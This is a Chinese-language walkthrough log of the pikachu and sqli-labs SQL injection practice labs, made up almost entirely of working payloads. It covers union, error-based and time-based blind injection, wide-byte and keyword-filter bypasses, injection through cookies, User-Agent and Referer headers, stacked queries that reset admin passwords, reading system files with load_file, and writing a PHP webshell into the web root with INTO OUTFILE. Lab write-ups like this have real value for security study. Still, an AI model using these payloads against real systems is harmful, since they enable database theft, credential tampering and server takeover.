pikachu&sqli通关记录

记录SQL注入过程

pikachu--sql 注入：
第一关：
select username,email from user where userid=2
判断字段数
select username,email from user where userid=2  当userid=3 报错
获取数据库shchema
id=-1 union select concat(schema_name),2 from information_schema.schemata&submit=%E6%9F%A5%E8%AF%A2
获取数据库如下：
information_schema ,challenges ,demo mysql ,performance_schema,pikachu ,security ,sys 

获取pikachu数据库下的表名：
id=-1 union select concat(table_name),2 from information_schema.tables where table_schema='pikachu'&submit=%E6%9F%A5%E8%AF%A2
id=-1 union select concat(table_name),2 from information_schema.tables where table_schema=char(112,105,107,97,99,104,117)&submit=%E6%9F%A5%E8%AF%A2
id=-1 union select 1,updatexml(1,concat(0x7e,substr((select group_concat(schema_name)from information_schema.schemata),60,90),0x7e),1)&submit=%E6%9F%A5%E8%AF%A2 --通过错误方法查询数据库schema
id=-1 union select 1,length(schema_name)from information_schema.schemata limit 0,1&submit=%E6%9F%A5%E8%AF%A2--查询数据库长度
获取表名如下：
httpinfo ,member ,message ,users ,xssblind 

获取users 表字段     
id=-1 union select concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'&submit=%E6%9F%A5%E8%AF%A2
获取表字段如下
id ,username ,password ,level 
获取表数据：
id=-1 union select username,password from users limit 0,1&submit=%E6%9F%A5%E8%AF%A2
admin  e10adc3949ba59abbe56e057f20f883e  

在利用sql注入漏洞后期，最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell，其中比较常用的函数有以下三个
导出mysql 数据库数据into dumpfile()     into outfile()    load_file()
select @@secure_file_priv  查询文件导入导出配置。通过修改Mysql.ini文件 在里面添加secure_file_priv=
id=-1 union select username,password into outfile "D:\install\phpstudy\phpstudy_pro\WWW\pikachu\p" from users &submit=%E6%9F%A5%E8%AF%A2
id=-1 union select 1,load_file('c:/Windows/win.ini') from users &submit=%E6%9F%A5%E8%AF%A2
mysql 写入webshell
id=-1 union select "<?php echo '123';?>","" into outfile "D:/install/phpstudy/phpstudy_pro/WWW/pikachu/p/test.php"&submit=%E6%9F%A5%E8%AF%A2&submit=%E6%9F%A5%E8%AF%A2

第二关
判断是否存在注入点：
/pikachu/p/vul/sqli/sqli_str.php?name=admin'--+&submit=%E6%9F%A5%E8%AF%A2
判断返回字段个数：
/pikachu/p/vul/sqli/sqli_str.php?name=admin'%20order%20by%202--+&submit=%E6%9F%A5%E8%AF%A2
使用联合查询获取数据库：
/pikachu/p/vul/sqli/sqli_str.php?name=admin'%20union%20select%201,2--+&submit=%E6%9F%A5%E8%AF%A2  支持联合查询
/pikachu/p/vul/sqli/sqli_str.php?name=admin'%20union%20select%20concat(schema_name),2%20from%20information_schema.schemata--+&submit=%E6%9F%A5%E8%AF%A2 获取数据库schema_name
/pikachu/p/vul/sqli/sqli_str.php?name=admin'%20union%20select%20concat(schema_name),2%20from%20information_schema.schemata--+&submit=%E6%9F%A5%E8%AF%A2

第三关
select name,email from where name like '%admin%'--+%'
/pikachu/p/vul/sqli/sqli_search.php?name=admin%'%20union%20select/**/1,2,3--+&submit=%E6%90%9C%E7%B4%A2---判断字段数
/pikachu/p/vul/sqli/sqli_search.php?name=admin%'%20union%20select/**/1,2,group_concat(schema_name)/**/from/**/information_schema.schemata--+&submit=%E6%90%9C%E7%B4%A2--查询schema
information_schema,challenges,demo,mysql,performance_schema,pikachu,security,sys
/pikachu/p/vul/sqli/sqli_search.php?name=admin%'%20union%20select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables%20where%20table_schema='demo'--+&submit=%E6%90%9C%E7%B4%A2--查询表名
表名：person
/pikachu/p/vul/sqli/sqli_search.php?name=admin%'%20union%20select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns%20where%20table_name='person'--+&submit=%E6%90%9C%E7%B4%A2
列名： age,name,address

第四关
/pikachu/p/vul/sqli/sqli_x.php?name=admin')%20order%20by%202--+&submit=%E6%9F%A5%E8%AF%A2
/pikachu/p/vul/sqli/sqli_x.php?name=admin')%20union%20select%201,2--+&submit=%E6%9F%A5%E8%AF%A2

第五关：
username=test3' or updatexml(1,concat(0x7e,(select%20database()),0x7e),1) or '1&sex=&phonenum=&email=&add=&password=123456&submit=submit
sex=123&phonenum=123&add=123&email=1' or updatexml(1,concat(0x7e,(select%20database()),0x7e),1) or '1--+&submit=submit

第六关：
http://192.168.1.101/pikachu/p/vul/sqli/sqli_del.php?id=58%20or%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)

第七关：
Cookie: ant[uname]=admin' or updatexml(1,concat(0x7e,(select%20database()),0x7e),1) or '1--+;

第八关：
/pikachu/p/vul/sqli/sqli_blind_b.php?name=kobe'%20and%20If((length(database()))>=7,sleep(8),1)%20order%20by%202--+&submit=%E6%9F%A5%E8%AF%A2

第九关：
kobe' and sleep(if(length(database())>7,0,9)) #

第十关：
宽字节 name=kobe%df' or 1=1#&submit=%E6%9F%A5%E8%AF%A2

sqli
第一关：
确认注入点：
select ..from x where id='' limit 0,1
/sqli/sql/Less-1/?id=1'%20order%20by%203--+
/sqli/sql/Less-1/?id=-1'%20union%20select%201,2,3--+
查询数据库--security
/sqli/sql/Less-1/?id=-1'%20union%20select%201,database(),version()--+
查询表---emails,referers,uagents,users
/sqli/sql/Less-1/?id=-1'%20union%20select%201,group_concat(table_name),version()/**/from%20information_schema.tables%20where%20table_schema='security'--+
查询表users 字段--id,username,password
/sqli/sql/Less-1/?id=-1'%20union%20select%201,group_concat(column_name),3/**/%20from%20information_schema.columns%20where%20table_schema='security'%20and%20table_name='users'--+
导出数据到test.txt 文件中
/sqli/sql/Less-1/?id=-1'%20union%20select%20id,username,password/**/into%20outfile%20"d:/test.txt"%20from%20users--+
写文件到系统中--前提要知道文件路径、mysql写入文件权限（通过修改Mysql.ini文件 在里面添加secure_file_priv=）select @@secure_file_priv。可以写入一些脚本文件添加权限等
/sqli/sql/Less-1/?id=-1'%20union%20select%20'<?php%20echo%20789;%20?>',"",""%20into%20outfile%20"D:/install/phpstudy/phpstudy_pro/WWW/sqli/sql/test.php"--+
访问文件sqli/sql/test.php
查看 系统文件

第二关；
确认注入点
/sqli/sql/Less-2/?id=1%20and%201=2--+
/sqli/sql/Less-2/?id=1%20and%201=1--+

/sqli/sql/Less-2/?id=1%20order%20by%203--+
/sqli/sql/Less-2/?id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+
查询数据库、表、字段
/sqli/sql/Less-2/?id=-1%20union%20select%201,database(),@@secure_file_priv--+（表security，secure_file_priv的值是空说明可以导入导出文件）
表（emails,referers,uagents,users）
/sqli/sql/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
字段（id,email_id）
/sqli/sql/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27emails%27--+

查询数据
/sqli/sql/Less-2/?id=-1%20union%20select%201,concat_ws(%22-%22,id,email_id),3%20from%20emails%20limit%201,2--+

第三关
确认注入点
/sqli/sql/Less-3/?id=1%27)%20and%201=1--+
/sqli/sql/Less-3/?id=2%27)%20and%20sleep(if(length(database())%3E=10,0,9))--+
/sqli/sql/Less-3/?id=1%27)%20order%20by%203--+
/sqli/sql/Less-3/?id=-1%27)%20union%20select%201,2,3--+  支持联合查询

第四关

确认注入点 输入单引号、双引号、反引号（~按钮）
/sqli/sql/Less-4/?id=1%22)--+
/sqli/sql/Less-4/?id=1%22)%20order%20by%204--+
/sqli/sql/Less-4/?id=-1%22)%20union%20select%201,2,3--+  支持联合查询

第五关
确认注入点
/sqli/sql/Less-5/?id=1%27)--+
/sqli/sql/Less-5/?id=1%27%20and%20%271%27=%272%27--+
/sqli/sql/Less-5/?id=1%27%20order%20by%204--+
没有返回信息 不能用union 使用报错信息查询数据库、表、字段（ '~emails,referers,uagents,users~'）
/sqli/sql/Less-5/?id=-11%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+
/sqli/sql/Less-5/?id=-11%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+
/sqli/sql/Less-5/?id=-11%27%20and%20updatexml(1,concat(0x7e,substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27referers%27),1,33),0x7e),1)--+
id,referer,ip_address
/sqli/sql/Less-5/?id=-11%27%20and%20updatexml(1,concat(0x7e,substr((select%20concat_ws(%22-%22,referer,ip_address)%20from%20referers%20limit%201,2),1,33),0x7e),1)--+

第六关
确认注入点
/sqli/sql/Less-6/?id=1%22%20order%20by%203--+
/sqli/sql/Less-6/?id=1%22%20and%20%271%27=%272%27%20order%20by%203--+
没有返回信息
/sqli/sql/Less-6/?id=-1%22%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

第七关
确认注入点
/sqli/sql/Less-7/?id=1%27))--+
/sqli/sql/Less-7/?id=1%27))%20order%20by%203--+
/sqli/sql/Less-7/?id=1%27))%20and%20length(database())%3E=8--+

/sqli/sql/Less-7/?id=1%27))%20and%20substr(database(),1,1)=%27s%27--+
security
查询数据库表
/sqli/sql/Less-7/?id=1%27))%20and%20length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1))%3E=6--+
/sqli/sql/Less-7/?id=1%27))%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1)=%27e%27--+

select  into outfile  报错

第八关
确认注入点
/sqli/sql/Less-8/?id=1%27%20and%20%271%27=%272%27--+
/sqli/sql/Less-8/?id=1%27%20order%20by%203--+
参考 第七关

第九关
/sqli/sql/Less-9/?id=1%27%20and%20sleep(10)--+

/sqli/sql/Less-9/?id=1%27%20and%20sleep(if(length(database())%3E=5,10,0))--+
/sqli/sql/Less-9/?id=1%27%20and%20if(substr(database(),1,1)=%27s%27,sleep(10),1)--+

第十关
去人注入点
/sqli/sql/Less-10/?id=1%22%20and%20sleep(10)--+
/sqli/sql/Less-10/?id=1%22%20and%20if(length(database())%3E=8,sleep(10),1)--+

第十一关
确认注入点
uname=admin' or '1'='1' limit 1,2--+&passwd=123456&submit=Submit
uname=admin' order by 2--+&passwd=123456&submit=Submit
uname=' union select database(),version()--+&passwd=123456&submit=Submit
uname=' union select group_concat(table_name),version() from information_schema.tables where table_schema='security'--+&passwd=123456&submit=Submit

第十二关
确认注入点
uname=admin") or '1'='1'--+&passwd=admin&submit=Submit
uname=admin") or '1'='1' order by 2--+&passwd=admin&submit=Submit
uname=")union select database(),version() --+&passwd=admin&submit=Submit
uname=")union select group_concat(table_name),database() from information_schema.tables where table_schema='security' --+&passwd=admin&submit=Submit
uname=")union select group_concat(column_name),database() from information_schema.columns where table_schema='security' and table_name='users' --+&passwd=admin&submit=Submit
uname=")union select concat_ws("-",username,password),database() from users limit 2,3 --+&passwd=admin&submit=Submit

第十三关
uname=Dumb') or '1'='1' order by 2--+&passwd=Dumb&submit=Submit
uname=admin') and updatexml(1,concat(0x7e,database(),0x7e),1)--+&passwd=Dumb&submit=Submit
uname=admin') and sleep(10)--+&passwd=Dumb&submit=Submit
uname=admin') and if(length(database())>=8,sleep(10),1)--+&passwd=Dumb&submit=Submit
uname=admin') and if(substr(database(),1,1)='s',sleep(10),1)--+&passwd=Dumb&submit=Submit
uname=admin') union select username,password into outfile 'D:/ddd.txt' from users --+&passwd=Dumb&submit=Submit

第十四关
uname=admin&passwd=admin" and sleep(10)--+&submit=Submit
uname=admin&passwd=admin" and updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit
uname=admin&passwd=admin" and extractvalue('abc',concat('#',(database())))--+&submit=Submit
uname=admin&passwd=admin" and extractvalue('abc',concat('#',database()))--+&submit=Submit

第十五关
uname=admin&passwd=admin' and sleep(10)--+&submit=Submit

第十六关
uname=admin&passwd=admin") and sleep(10) --+&submit=Submit

第十七关

update x set password='123456' where username='admin'
uname=admin&passwd=123456' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit
uname=admin&passwd=123456' and extractvalue('abc',concat('#',database()))--+&submit=Submit

第十八关
User-Agent:123' or updatexml(1,concat(0x7e,database(),0x7e),1) or '1#

第十九关
Referer: 123123' or updatexml(1,concat(0x7e,database(),0x7e),1) and '1

第二十关
http://192.168.1.101/sqli/sql/Less-20/index.php
Cookie: uname=' union select 1,2,3--+; PHPSESSID=76611b4bd1219e0b9b4cff61bfc3890f
第二十一关
admin') and updatexml(1,concat(0x7e,(select database())),0) #
base64 转码后 
Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSksMCkgIw==

第二十二关
" union select 1,database(),3 order by 3#
Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMgb3JkZXIgYnkgMyM=

第二十三关
select username,password from x where id='y' union select 1,2,'3   ' limit 0,1
/sqli/sql/Less-23/?id=-2'%20select%201,2,'3
/sqli/sql/Less-23/?id=-2'%20union%20select%202,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where%0atable_schema='security'),2||'4
/sqli/sql/Less-23/?id=-2'%20union%20select%202,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where%0atable_schema=0x7365637572697479),2||'4

第二十四关

第二十五关
/sqli/sql/Less-25/?id=3'%20anandd%20'1'='2
/sqli/sql/Less-25/?id=3'%20oORr%20'1'='2
第二十五A 关
/sqli/sql/Less-25a/?id=1%20anandd%201=1
/sqli/sql/Less-25a/?id=1%20anandd%201=2
/sqli/sql/Less-25a/?id=1%20oorrder%20by%203
/sqli/sql/Less-25a/?id=0%20union%20select%201,2,3

第二十六关
空格绕过 注释/**/
空格绕过%09、%0a、%0b、%0c、%0d 、%a0、%00

/sqli/sql/Less-26/?id=1'%a0union%a0select%a01,2,'3
第二十六关A
/sqli/sql/Less-26a/?id=1');%00
/sqli/sql/Less-26a/?id=0')%a0union%a0select%a01,database(),version();%00

/sqli/sql/Less-26a/?id=1'%a0anandd%a0'1'='2
/sqli/sql/Less-26a/?id=1'%a0anandd%a0'1'='1
/sqli/sql/Less-26a/?id=1')%a0union%a0SELecT%a01,2,('4

第二十七关
关键字绕过
1、大小写绕过SelEct
2、双写绕过 seleselectct
3、内联绕过 /*!select*/
4、注释拼接se/**/lect

/sqli/sql/Less-27/?id=1'%a0uniunionon%a0SeLECT%a01,2,'4
/sqli/sql/Less-27/?id=0'%a0uniunionon%a0SeLECT%a01,database(),'4

第二十七关A
/sqli/sql/Less-27a/?id=1"%a0and%a0'1'='1';%00
/sqli/sql/Less-27a/?id=1"%a0and%a0'1'='2';%00
/sqli/sql/Less-27a/?id=1"%a0order%a0by%a03;%00
/sqli/sql/Less-27a/?id=0"%a0uniUNIONon%a0selSelectect%a01,2,3;%00
/sqli/sql/Less-27a/?id=0"%a0uniUNIONon%a0selSelectect%a01,database(),3;%00

第二十八关
select username,password from users where id=('1;%00')limit 0,1;
/sqli/sql/Less-28/?id=1";%00成功
/sqli/sql/Less-28/?id=1';%00报错
/sqli/sql/Less-28/?id=1');%00成功
/sqli/sql/Less-28/?id=1')%a0and%a01=2;%00
/sqli/sql/Less-28/?id=0')%a0union%a0select%a01,database(),3;%00

第二十八关A
/sqli/sql/Less-28a/?id=1')%a0and%a01=2;%00
/sqli/sql/Less-28a/?id=1')%a0order%a0by%a03;%00
/sqli/sql/Less-28a/?id=0')%a0union%a0select%a01,database(),3;%00

第二十九关
/sqli/sql/Less-29/?id=1'%a0and%a01=2;%00
/sqli/sql/Less-29/?id=1'%a0and%a01=1;%00
/sqli/sql/Less-29/?id=1'%a0order%a0by%a03;%00
/sqli/sql/Less-29/?id=0'%a0union%a0select%a01,database(),3;%00
/sqli/sql/Less-29/?id=0'%a0union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=0x7365637572697479),3;%00
/sqli/sql/Less-29/?id=0'%a0union%a0select%a01,(select%a0count(1)%a0from%a0information_schema.tables%a0where%a0table_schema=0x7365637572697479),3;%00

第三十关
/sqli/sql/Less-30/?id=1"%a0and%a01=1;%00
/sqli/sql/Less-30/?id=1"%a0order%a0by%a03;%00
/sqli/sql/Less-30/?id=0"%a0union%a0select%a01,2,3;%00
/sqli/sql/Less-30/?id=0"%a0union%a0select%a01,database(),3;%00
/sqli/sql/Less-30/?id=0"%a0union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0information_schema.tables/**/where%a0table_schema='security'),3;%00
/sqli/sql/Less-30/?id=0"%a0union%a0select%a01,(select%a0group_concat(column_name)%a0from%a0information_schema.columns/**/where%a0table_schema='security'/**/and/**/table_name='users'),3;%00
/sqli/sql/Less-30/?id=0"%a0union%a0select%a01,(select%a0count(1)%a0from%a0users),3;%00
/sqli/sql/Less-30/?id=0"%a0union%a0select%a01,(select%a0concat_ws('-',username,password)%a0from%a0users/**/limit/**/0,1),3;%00

第三十一关

/sqli/sql/Less-31/?id=1")%a0and%a01=2;%00
/sqli/sql/Less-31/?id=1")%a0and%a01=1;%00
/sqli/sql/Less-31/?id=1")%a0order%a0by%a03;%00
/sqli/sql/Less-31/?id=0")%a0union%a0select%a01,database(),3;%00
/sqli/sql/Less-31/?id=0")%a0union%a0select%a01,(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),3;%00
第三十二关
当引号不生效时，使用宽字节
/sqli/sql/Less-32/?id=1%df'
/sqli/sql/Less-32/?id=1%df'%0aorder%0aby%0a3;%00
/sqli/sql/Less-32/?id=0%df'%0aunion%0aselect%0a1,database(),3;%00

第三十三关
反编译使用%df
/sqli/sql/Less-33/?id=1%df'%0aand%0a1=2--+
/sqli/sql/Less-33/?id=1%df'%0aand%0a1=1--+
/sqli/sql/Less-33/?id=1%df'%0aorder%0aby%0a3--+
/sqli/sql/Less-33/?id=0%df'%0aunion%0aselect%0a1,database(),3--+
/sqli/sql/Less-33/?id=0%df'%0aunion%0aselect%0a1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=char(115,101,99,117,114,105,116,121)),3--+
/sqli/sql/Less-33/?id=0%df'%0aunion%0aselect%0a1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=0x7365637572697479),3--+

第三十四关
uname=%df' union select 1,2--+&passwd=123456%&submit=Submit

第三十五关
/sqli/sql/Less-35/?id=1%20and%201=2--+
/sqli/sql/Less-35/?id=1%20order%20by%203--+
/sqli/sql/Less-35/?id=0%20union%20select%201,database(),3--+

第三十六关
/sqli/sql/Less-36/?id=1%df'%20and%201=1--+
/sqli/sql/Less-36/?id=1%df'%20and%201=2--+
/sqli/sql/Less-36/?id=1%df'%20order%20by%203--+
/sqli/sql/Less-36/?id=0%df'%20union%20select%201,database(),version()--+

第三十七关
uname=%df' union select database(),2#&passwd=123456&submit=Submit

第三十八关
/sqli/sql/Less-38/?id=1'%20and%201=2--+
/sqli/sql/Less-38/?id=1'%20order%20by%203--+
/sqli/sql/Less-38/?id=0'%20union%20select%201,database(),@@version--+
/sqli/sql/Less-38/?id=0'%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'),@@version--+
/sqli/sql/Less-38/?id=0'%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema='security'%20and/**/table_name=0x7573657273),@@version--+

第三十九关
/sqli/sql/Less-39/?id=1%20and%201=2--+
/sqli/sql/Less-39/?id=1%20order%20by%203--+
/sqli/sql/Less-39/?id=0%20union%20select%201,database(),version()--+

第四十关
/sqli/sql/Less-40/?id=1')%20and%201=1--+
/sqli/sql/Less-40/?id=1')%20and%201=2--+
/sqli/sql/Less-40/?id=1')%20order%20by%203--+
/sqli/sql/Less-40/?id=0')%20union%20select%201,database(),version()--+
/sqli/sql/Less-40/?id=0');update%20users%20set%20password='admin'%20where%20username='admin'--+

第四十一关
/sqli/sql/Less-41/?id=1%20and%201=2--+
/sqli/sql/Less-41/?id=1%20order%20by%203--+
/sqli/sql/Less-41/?id=0%20union%20select%201,database(),version()--+
第四十二关
login_user=admin&login_password=admin' order by 3--+&mysubmit=Login
login_user=admain&login_password=a'; update users set password='123456' where username='Dumb';#&mysubmit=Login
第四十三关
login_user=admin&login_password=123456') order by 3#&mysubmit=Login
login_user=admin&login_password=123456') and extractvalue('abc',concat('#',database()))#&mysubmit=Login
login_user=admin&login_password=123456') and extractvalue('abc',concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')))#&mysubmit=Login
login_user=admin&login_password=123456') and extractvalue('abc',concat('#',(select substr(group_concat(column_name),1,10) from information_schema.columns where table_schema='security' and table_name='users')))#&mysubmit=Login
XPATH syntax error: '#id,username,password

login_user=admin&login_password=123456');update users set password='123456'#&mysubmit=Login

第四十四关
login_user=admin&login_password=123456' and sleep(10)#&mysubmit=Login
没有反显 通过盲注 找数据库 表
login_user=admin&login_password=123456' and if(length(database())>=8,sleep(3),1) #&mysubmit=Login--判断数据库长度是8
login_user=admin&login_password=123456' and if(substr(database(),1,1)='s',sleep(3),1) #&mysubmit=Login
通过 burpsuite  intruder cluster bomb爆破 数据库security

查询表有4个
login_user=admin&login_password=123456' and if((select count(1)from information_schema.tables where table_schema='security')>=4,sleep(3),1) #&mysubmit=Login
limit 0,1
limit 1,2
limit 2,3
limit 3,4
比如要爆破第四个表，先确认表长度，再爆破表名
login_user=admin&login_password=123456' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,4))>=4,sleep(30),1) #&mysubmit=Login

login_user=admin&login_password=123456' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,4),4,1)='r',sleep(3),1) #&mysubmit=Login

长度为5 表名users
表字段同理爆破

login_user=admin&login_password=123456';update users set password='123456' where username='admin' #&mysubmit=Login

第四十五关
同44关 
login_user=admin&login_password=123456') and sleep(3)#&mysubmit=Login
login_user=admin&login_password=123456') and if(substr(database(),1,1)='s',sleep(3),1)#&mysubmit=Login

第四十六关

/sqli/sql/Less-46/?sort=5%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)

第四十七关
/sqli/sql/Less-47/?sort=2'%20and%20sleep(5);%00
/sqli/sql/Less-47/?sort=2'%20and%20updatexml(1,concat(0x7e,database(),0x7e),1);%00

第四十八关
/sqli/sql/Less-48/?sort=3%20and%20sleep(2);%00
/sqli/sql/Less-48/?sort=3%20and%20if(database()='security',sleep(2),1);%00

第四十九关
/sqli/sql/Less-49/?sort=2'%20and%20sleep(2);%00
/sqli/sql/Less-49/?sort=2'%20and%20if(length(database())>=8,sleep(2),1);%00

第五十关
/sqli/sql/Less-50/?sort=3%20and%20sleep(2);%00
/sqli/sql/Less-50/?sort=3%20and%20if(length(database())>=8,sleep(2),1);%00
/sqli/sql/Less-50/?sort=3%20and%20updatexml(1,concat(0x7e,database(),0x7e),1);%00

第五十一关
/sqli/sql/Less-51/?sort=2'%20and%20sleep(2);%00
/sqli/sql/Less-51/?sort=2'%20and%20if(database()='security',sleep(2),1);%00

第五十二关
/sqli/sql/Less-52/?sort=2%20and%20if(database()='security',sleep(2),1);%00

第五十三关
/sqli/sql/Less-53/?sort=2'%20and%20sleep(2);%00
/sqli/sql/Less-53/?sort=2'%20and%20if(length(database())>=6,sleep(2),1);%00

第五十四关
/sqli/sql/Less-54/index.php?id=1%27%20order%20by%202--+
/sqli/sql/Less-54/index.php?id=0%27union%20select%201,database(),version()--+

第五十五关

/sqli/sql/Less-55/index.php?id=1)%20order%20by%203--+
/sqli/sql/Less-55/index.php?id=0)%20union%20select%201,database(),2--+
challenges
/sqli/sql/Less-55/index.php?id=0)%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),2--+
528fx8wmec
/sqli/sql/Less-55/index.php?id=0)%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27challenges%27%20and%20table_name=%27528fx8wmec%27),2--+
secret_ZCIP

第五十六关
/sqli/sql/Less-56/?id=1%27)%20order%20by%203--+
challenges
e92u3wsidr
secret_Z1M3

第五十七关
/sqli/sql/Less-57/?id=1%22%20order%20by%203--+
/sqli/sql/Less-57/?id=0%22%20union%20select%201,database(),3--+

7662g87lg4
secret_RKJ6

第五十八关
/sqli/sql/Less-58/?id=1%27%20order%20by%203--+
/sqli/sql/Less-58/index.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),0x7e),1)--+
ktagy0yydp

第五十九关
/sqli/sql/Less-58/?id=1%20order%20by%203--+
/sqli/sql/Less-58/index.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),0x7e),1)--+
ktagy0yydp

第六十关
/sqli/sql/Less-60/index.php?id=1%22)%20order%20by%204--+
/sqli/sql/Less-60/index.php?id=1%22)%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

第六十一关

/sqli/sql/Less-61/?id=1%27))%20order%20by%203--+
/sqli/sql/Less-61/index.php?id=1%27))%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

第六十二关
盲注
/sqli/sql/Less-62/?id=1%df%27)%20order%20by%203;%00
/sqli/sql/Less-62/?id=1%df%27)%20and%20sleep(10);%00

第六十三关
/sqli/sql/Less-63/?id=1%27%20and%20sleep(10);%00

第六十四关
/sqli/sql/Less-64/?id=1))%20and%20sleep(10);%00

第六十五关
/sqli/sql/Less-65/?id=1%22)%20and%20sleep(10);%00

' and sleep(10);%00
"and sleep(10);%00
)and sleep(10);%00
')and sleep(10);%00
")and sleep(10);%00
))and sleep(10);%00
'))and sleep(10);%00
"))and sleep(10);%00
 and sleep(10);%00